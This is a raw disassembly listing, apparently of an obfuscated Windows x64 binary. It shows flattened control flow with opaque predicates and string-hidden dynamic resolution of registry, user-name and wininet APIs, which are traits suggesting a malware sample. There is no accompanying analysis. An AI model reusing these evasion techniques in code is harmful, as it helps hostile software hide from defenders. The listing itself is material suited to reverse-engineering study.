xor edx, 0x347fa799
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x7610b746
mov ebx, 0xaa7857e3
jmp 0x140043673
cmp eax, 0x114f836d
jle 0x14004293f
cmp eax, 0x114f836e
je 0x14004445c
cmp eax, 0x140f351e
je 0x14004447f
cmp eax, 0x166e68f1
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x2d0bef15
and ecx, 0xd2f410ea
or ecx, eax
mov eax, ecx
xor eax, 0xd2f410ea
and eax, 0xfffffffe
xor ecx, 0x2d0bef14
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0xfae6a22
mov edi, 0xd9fab287
cmovne eax, edi
test dl, dl
mov ecx, 0xfae6a22
cmovne eax, ecx
test bl, bl
cmove eax, edi
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x4f6538f6
jle 0x1400429e8
cmp eax, 0x4f6538f7
je 0x1400444dc
cmp eax, 0x52d5c2ba
je 0x14004454f
cmp eax, 0x5313c1d3
jne 0x140040660
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, [0x14007b0d1]
call fcn.140059e90
add rsp, 0x20
lea rsi, [rax + 0xe]
mov rax, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x68]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rdi
xor edx, edx
call fcn.140059c80
mov r8d, 0x3e8
mov rcx, rdi
mov rdx, rsi
call fcn.140010910
mov rcx, rdi
call fcn.14003dc00
add rsp, 0x20
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0x69431980
mov eax, 0x33e25b7d
cmovne edx, eax
test cl, cl
mov eax, 0x69431980
jmp 0x140044b27
cmp eax, 0x2dc0d270
jle 0x140042a8f
cmp eax, 0x2dc0d271
je 0x1400445b9
cmp eax, 0x2e14b6a2
je 0x1400445cf
cmp eax, 0x334a0f09
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0xc36c0a27
mov ecx, 0xd2b337c
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, bl
mov ecx, 0xc36c0a27
jmp 0x140048196
cmp eax, 0x67388d56
jle 0x140042b10
cmp eax, 0x67388d57
je 0x1400445e4
cmp eax, 0x69431980
je 0x140044637
cmp eax, 0x6ac4bde1
jne 0x140040660
mov eax, 0xb4846c4f
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x836f7feb
jle 0x14004334b
cmp eax, 0x836f7fec
je 0x1400446a4
cmp eax, 0x8427c58d
je 0x140044737
cmp eax, 0x857d348d
jne 0x140040660
cmp byte [rbp + 0x12d], 0
mov eax, 0xa8b3c0f3
mov ecx, 0xf39cddd2
jmp 0x140047ec4
cmp eax, 0xc9f30a06
jle 0x1400433c7
cmp eax, 0xc9f30a07
je 0x14004478e
cmp eax, 0xca2f7f69
je 0x1400447ff
cmp eax, 0xcd2c7b19
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov ebx, 0x607bf95c
mov eax, 0x2080bd83
cmovne ebx, eax
test cl, cl
mov eax, ebx
mov ecx, 0x607bf95c
jmp 0x140045968
cmp eax, 0xa8005e7d
jle 0x14004344a
cmp eax, 0xa8005e7e
je 0x140044855
cmp eax, 0xa8b3c0f3
je 0x14004486a
cmp eax, 0xa911a3fb
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov ebx, 0x9cc26143
mov eax, 0xa8005e7e
cmovne ebx, eax
test dl, dl
mov eax, 0x9cc26143
jmp 0x14004484d
cmp eax, 0xe1a9fe92
jle 0x1400434e3
cmp eax, 0xe1a9fe93
je 0x1400448d4
cmp eax, 0xe36f2cd5
je 0x1400448ea
cmp eax, 0xe39c15f1
jne 0x140040660
sub rsp, 0x20
call fcn.140039610
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov rsi, rax
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x130], rax
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
mov r8d, 0x2710
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
call fcn.14002c3f0
mov ecx, 0x7d0
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, [0x14007b0bf]
call fcn.1400609c0
add rsp, 0x20
test eax, eax
sete byte [rbp + 0x13f]
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x641439ba
and edx, 0x9bebc645
or edx, eax
xor edx, 0x9bebc645
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0xa911a3fb
mov eax, 0x1f103823
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xa911a3fb
jmp 0x14004064a
cmp eax, 0x7b5dad79
jg 0x140043559
cmp eax, 0x7610b746
je 0x140044950
cmp eax, 0x774b0ecd
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xde5f67bd
mov ebx, 0xe1a9fe93
jmp 0x140044628
cmp eax, 0x1f103823
je 0x1400449c8
cmp eax, 0x2080bd83
je 0x140044a3d
cmp eax, 0x21ab2b05
jne 0x140040660
sub rsp, 0x20
call fcn.140039610
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, rax
call rax
add rsp, 0x20
mov rsi, qword [rbp + 0x58]
sub rsp, 0x20
mov r8d, 0x2710
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov rcx, rsi
call fcn.14002c3f0
mov ecx, 0x7d0
call rdi
add rsp, 0x20
mov eax, 0xf2b90c9e
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x5d3c863e
je 0x140044a52
cmp eax, 0x5e807a09
je 0x140044ac8
cmp eax, 0x5e9b7786
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xe3e1e8a7
mov ebx, 0x3915aada
jmp 0x140044628
cmp eax, 0x3d037cdb
je 0x140044b31
cmp eax, 0x3d9ce7e0
je 0x140044bec
cmp eax, 0x402e9593
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov edx, 0xd29541e4
mov eax, 0x5f9529b6
cmovne edx, eax
test bl, bl
mov eax, edx
mov ebx, 0xd29541e4
jmp 0x14004064a
cmp eax, 0x90b222eb
je 0x140044c01
cmp eax, 0x93192553
je 0x140044c16
cmp eax, 0x9352e967
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x31ac351d
and ecx, 0xce53cae2
or ecx, edx
xor ecx, 0xce53cae3
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0x3d037cdb
mov eax, 0xe641663a
cmovne ebx, eax
test cl, cl
mov eax, 0x3d037cdb
jmp 0x1400470d4
cmp eax, 0xd7c89db2
je 0x140044c27
cmp eax, 0xd9fab287
je 0x140044c3c
cmp eax, 0xda13b5bc
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xc149a4af
mov edx, eax
and edx, 0x3eb65b50
or edx, ecx
xor edx, 0x3eb65b51
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x40a6e3ba
mov ebx, 0x4af96f4d
jmp 0x140044628
cmp eax, 0xb958a4b8
je 0x1400456d0
cmp eax, 0xbbcbb5fd
je 0x140045748
cmp eax, 0xbbe553d2
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x42656bd4
and edx, 0xbd9a942b
or edx, eax
mov eax, edx
xor eax, 0xbd9a942a
and eax, 0xfffffffe
xor edx, 0x42656bd5
or edx, eax
cmp edx, 0xffffffff
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, ecx
xor bl, dl
test dl, dl
mov eax, 0xe0664bc7
mov edx, 0x742e6ae1
cmovne eax, edx
test cl, cl
cmovne eax, edx
test bl, bl
mov ecx, 0xe0664bc7
jmp 0x140047ec4
cmp eax, 0xf424b198
je 0x1400457ab
cmp eax, 0xf5477b9a
je 0x1400457c0
cmp eax, 0xf993666b
jne 0x140040660
mov al, byte [rbp + 0xe]
mov cl, byte [rbp + 0xf]
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov edx, ebx
xor dl, cl
test cl, 1
mov eax, 0x8728c449
mov edi, 0xf2770238
cmovne eax, edi
test bl, 1
mov ecx, 0x8728c449
cmove eax, ecx
test dl, 1
jmp 0x140044ab5
cmp eax, 0x1756f476
je 0x140045810
cmp eax, 0x19cb7e55
je 0x140045825
cmp eax, 0x1a6c717c
jne 0x140040660
mov eax, 0xcf446d25
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x5890952e
je 0x14004589a
cmp eax, 0x594471aa
je 0x1400458af
cmp eax, 0x59c23595
jne 0x140040660
mov rax, qword [rbp + 0x60]
mov rsi, qword [rbp + 0x60]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov ecx, 0x3e8
mov rdx, rsi
call qword [0x14008ebe8]
add rsp, 0x20
mov eax, 0x6e4722f5
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x3907a49e
je 0x140045980
cmp eax, 0x3915aada
je 0x14004599c
cmp eax, 0x398efbc9
jne 0x140040660
cmp byte [rbp + 0x13f], 0
mov eax, 0xf0715427
mov ecx, 0x19cb7e55
jmp 0x140047ec4
cmp eax, 0x6e4722f5
je 0x140045a0b
cmp eax, 0x7033832a
je 0x140045aa3
cmp eax, 0x7352bbe2
jne 0x140040660
mov rax, qword [rbp + 0x60]
mov rsi, qword [rbp + 0x60]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov ecx, 0x3e8
mov rdx, rsi
call qword [0x14008ebe8]
add rsp, 0x20
mov eax, 0x17224c4b
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x8d3935a9
je 0x140045ab8
cmp eax, 0x8d6af9c4
je 0x140045acd
cmp eax, 0x8edd963e
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne al
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov edx, ecx
xor dl, al
and dl, cl
and bl, r8b
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov ebx, 0xdd0724e8
mov edi, 0x5d3c863e
jmp 0x140047317
cmp eax, 0xd0f2ccec
je 0x140045b43
cmp eax, 0xd206dd34
je 0x140045b9d
cmp eax, 0xd29541e4
jne 0x140040660
jmp 0x1400435e1
cmp eax, 0xaa7857e3
je 0x140045bc5
cmp eax, 0xb25cd9f5
je 0x140046618
cmp eax, 0xb3306381
jne 0x140040660
mov eax, 0x7e26c905
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0xe641663a
je 0x14004662d
cmp eax, 0xef6be4b0
je 0x14004705a
cmp eax, 0xf0715427
jne 0x140040660
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x14e923d5
and edx, 0xeb16dc2a
or edx, ecx
mov ebx, edx
xor ebx, 0xeb16dc2a
xor edx, 0x4202390
and edx, 0xee203bb0
mov ecx, ebx
and ecx, 0x11dfc44f
or ecx, edx
xor ecx, 0x11dfc44e
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, cl
test bl, bl
mov eax, 0x4f6538f7
mov ebx, 0x3ad10ea4
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, dl
mov ecx, 0x4f6538f7
jmp 0x140048196
cmp eax, 0x27e3c022
je 0x1400470dc
cmp eax, 0x28b302d9
je 0x140047149
cmp eax, 0x29293df5
jne 0x140040660
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, [0x14007b0d1]
call fcn.140059e90
add rsp, 0x20
lea rsi, [rax + 0xe]
mov rax, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x68]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rdi
xor edx, edx
call fcn.140059c80
mov r8d, 0x3e8
mov rcx, rdi
mov rdx, rsi
call fcn.140010910
mov rcx, rdi
call fcn.14003dc00
add rsp, 0x20
mov eax, 0x140f351e
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0x5fa11a0a
je 0x1400435e1
cmp eax, 0x5fde8d51
je 0x140047198
cmp eax, 0x607bf95c
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x28ca8ccb
and ecx, 0xd7357334
or ecx, eax
mov eax, ecx
xor eax, 0xd7357334
xor ecx, 0x2002088a
and ecx, 0xe5262b8e
mov edx, eax
and edx, 0x1ad9d471
or edx, ecx
xor edx, 0x1ad9d470
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x531a2ec6
and eax, 0xace5d139
or eax, ecx
xor eax, 0xace5d139
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x29293df5
mov ebx, 0x140f351e
jmp 0x140044628
cmp eax, 0x46ed04c3
je 0x140047211
cmp eax, 0x48f0ca97
je 0x140047226
cmp eax, 0x4af96f4d
jne 0x140040660
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
lea rdx, str.LLLPZZP
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
call fcn.140017430
add rsp, 0x20
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xb4b4cb2a
and edx, 0x4b4b34d5
or edx, eax
mov eax, edx
xor eax, 0x4b4b34d4
and eax, 0xfffffffe
xor edx, 0xb4b4cb2b
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
and bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x80aae07a
mov edx, 0x40a6e3ba
cmovne ecx, edx
test bl, bl
mov edx, 0x80aae07a
cmovne edx, ecx
test al, al
cmove edx, ecx
jmp 0x140047409
cmp eax, 0x98cd0a3b
je 0x14004728d
cmp eax, 0x9cc26143
je 0x1400405f9
cmp eax, 0x9d2a01a1
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov ebx, 0x5a71f1ec
mov eax, 0x5552a1cb
cmovne ebx, eax
test cl, cl
mov eax, 0x5a71f1ec
jmp 0x1400470d4
cmp eax, 0xdea5c8b7
je 0x1400472a2
cmp eax, 0xdeee333f
je 0x1400472b7
cmp eax, 0xdf407750
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd945c44
mov edx, eax
and edx, 0xf26ba3bb
or edx, ecx
xor edx, 0xf26ba3ba
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
setne al
cmp dword [0x14008ec1c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0x7033832a
mov ecx, 0x67388d57
cmovne eax, ecx
test dl, dl
mov edx, 0x7033832a
cmovne eax, edx
jmp 0x140048194
cmp eax, 0xbe7bb8f9
je 0x140047336
cmp eax, 0xc0d793b6
je 0x14004734c
cmp eax, 0xc207ccc6
jne 0x140040660
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
lea rdx, str.LLLPZZP
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
call fcn.140017430
add rsp, 0x20
mov eax, 0xef6be4b0
cmp eax, 0xfae6a21
jle 0x140040850
jmp 0x14004066b
cmp eax, 0xd2b337c
je 0x1400473a6
cmp eax, 0xe507a78
je 0x14004741b
cmp eax, 0xed4fd58
jne 0x140040660
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x33beaaeb
mov ebx, ecx
and ebx, 0xcc415514
or ebx, edx
xor ebx, 0xcc415515
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x8a1bf3d3
and ecx, 0x75e40c2c
or ecx, edx
xor ecx, 0x75e40c2c
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, ecx
xor cl, dl
and dl, al
and bl, r8b
or bl, dl
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, bl
mov ecx, 0x7e26c905
mov edx, 0xb3306381
cmovne ecx, edx
test al, al
mov eax, 0x7e26c905
jmp 0x140048191
cmp eax, 0xfae6a22
je 0x140047430
cmp eax, 0x10689f07
jne 0x140040660
mov ecx, dword [0x14008ec18]
mov eax, dword [0x14008ec1c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3326ef6e
and edx, 0xccd91091
or edx, ecx
mov ebx, edx
xor ebx, 0xccd91091
xor edx, 0x21020222
and edx, 0x695212b3
mov ecx, ebx
and ecx, 0x96aded4c
or ecx, edx
xor ecx, 0x96aded4d
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, ebx
or bl, dl
and dl, al
and cl, r8b
or cl, dl
xor al, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
mov edx, 0xbbe553d2
mov eax, 0x114f836e
cmovne edx, eax
test bl, bl
mov eax, 0xbbe553d2
jmp 0x140044bd4
cmp eax, 0x4b8934ab
je 0x140047e5d
cmp eax, 0x4ccd7f51
jne 0x140040660
mov eax, dword [0x14008ec18]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xc311368e
and ecx, 0x3ceec971
or ecx, eax
mov eax, ecx
xor eax, 0x3ceec971
xor ecx, 0xc0013000
and ecx, 0xc0edb131
mov edx, eax
and edx, 0x3f124ece
or edx, ecx
xor edx, 0x3f124ecf
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x9c6eb545
and eax, 0x63914aba
or eax, ecx
xor eax, 0x63914aba
sete al
cmp dword [0x14008ec1c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x93192553
mov ebx, 0xd63a077a
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x93192553
cmovne eax, ebx
jmp 0x140044bd7
cmp eax, 0x2cf41cf2
je 0x140047ed7
cmp eax, 0x2d6f47a6
jne 0x140040660
mov eax, dword [0x14008ec18]
mov ecx, dword [0x14008ec1c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0x8f8dc5a6
mov ecx, 0x8f211426
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0x8f8dc5a6
jmp 0x140048196
cmp eax, 0x6401ace1
je 0x140047f49
cmp eax, 0x65ccdbd8
jne 0x140040660
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r13, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r15, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov r12, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov rbx, rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x20], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, 0x40
call fcn.140058490
sub rsp, rax
mov qword [rbp - 0x80], rsp
sub rsp, 0x20
lea rcx, str.kernel32.dll
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rdi
add rsp, 0x20
mov qword [0x140081b08], rax
sub rsp, 0x20
lea rcx, str.advapi32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b10], rax
sub rsp, 0x20
lea rcx, str.wininet.dll
call rdi
add rsp, 0x20
mov qword [0x140081b18], rax
sub rsp, 0x20
lea rcx, str.user32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b20], rax
sub rsp, 0x20
lea rcx, str.gdi32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b28], rax
sub rsp, 0x20
lea rcx, str.ole32.dll
call rdi
add rsp, 0x20
mov qword [0x140081b30], rax
mov rdx, qword [rbp]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmm0, xmmword [0x140074880]
movaps xmmword [rdx], xmm0
mov rcx, qword [0x140081b08]
sub rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
add rsp, 0x20
mov qword [0x140087238], rax
movaps xmmword [rsi], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movabs rax, 0x4e72657355746547
mov qword [rsi], rax
mov dword [rsi + 8], 0x57656d61
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, rsi
call rdi
add rsp, 0x20
mov qword [0x140087658], rax
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x6156746547676552
mov qword [r13], rax
mov dword [r13 + 8], 0x5765756c
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r13
call rdi
add rsp, 0x20
mov qword [0x140087438], rax
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
movabs rax, 0x7461657243676552
mov qword [r15], rax
mov dword [r15 + 8], 0x79654b65
mov byte [r15 + 0xc], 0x57
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r15
call rdi
add rsp, 0x20
mov qword [0x140082100], rax
movaps xmmword [r14], xmm6
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movabs rax, 0x654b746553676552
mov qword [r14], rax
mov dword [r14 + 8], 0x6c615679
mov word [r14 + 0xc], 0x6575
mov byte [r14 + 0xe], 0x57
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r14
call rdi
add rsp, 0x20
mov qword [0x140087440], rax
movaps xmmword [r12], xmm6
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12 + 0x20], xmm6
mov word [r12 + 0x30], 0
movabs rax, 0x65736f6c43676552
mov qword [r12], rax
mov word [r12 + 8], 0x654b
mov byte [r12 + 0xa], 0x79
mov rcx, qword [0x140081b10]
sub rsp, 0x20
mov rdx, r12
call rdi
add rsp, 0x20
mov qword [0x140087448], rax
mov rdx, qword [rbp - 8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmm0, xmmword [0x140074890]
movaps xmmword [rdx], xmm0
movabs rax, 0x746f687370616e53
mov qword [rdx + 0x10], rax
mov rcx, qword [0x140081b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140087228], rax
